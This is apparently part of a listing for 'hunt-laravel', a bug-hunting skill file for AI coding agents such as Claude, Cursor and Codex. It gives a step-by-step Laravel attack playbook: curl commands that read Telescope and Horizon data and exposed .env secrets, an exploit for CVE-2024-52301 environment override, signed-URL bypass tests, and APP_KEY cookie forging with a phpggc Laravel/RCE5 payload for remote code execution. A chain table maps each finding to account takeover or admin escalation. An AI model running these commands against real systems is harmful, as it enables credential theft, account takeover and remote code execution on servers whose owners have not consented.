# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens
# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
Phase 4 — .env File & APP_KEY Exposure
# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"
# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user
# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
Phase 4b — Environment override via query args (CVE-2024-52301)
When register_argc_argv=On (php.ini), Laravel parses the query-string as CLI args, so ?--env= overrides APP_ENV over HTTP -> flip the app into local/testing config (debug on, seeded creds, weaker guards).
curl -s "https://$TARGET/?--env=local" # force debug/local config
curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
Phase 5 — Signed URL Manipulation
# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="
# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"
# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"
# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"
# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains
# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64
# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
Chain Table
Laravel finding
Chain to
Impact
Debug mode ON
CVE-2021-3129 Ignition RCE
Critical RCE
Telescope accessible
Read API keys, DB queries, env vars
High - credential theft
Horizon accessible
Read failed job payloads
High - PII/token exfil
.env exposed with APP_KEY
Forge session cookie → ATO
Critical ATO
Signed URL bypass
Unauthorized actions (unsubscribe any user, etc.)
Medium-High
Mass assignment
Set is_admin=true → privilege escalation
Critical
Validation
✅ Ignition RCE: id command output returned in response
✅ Telescope: API responses contain DB queries with credentials or user tokens
✅ APP_KEY: Forged session cookie accepted, returns another user's profile
✅ Mass assignment: is_admin: true accepted, account now has admin privileges
Severity:
Ignition RCE: Critical
Telescope/Horizon with sensitive data: High
.env with APP_KEY: Critical
Mass assignment to admin: Critical
How do I install hunt-laravel?
Download skills/hunt-laravel/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does hunt-laravel live?
The publisher keeps it at https://github.com/elementalsouls/Claude-BugHunter.
Which agents can use hunt-laravel?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.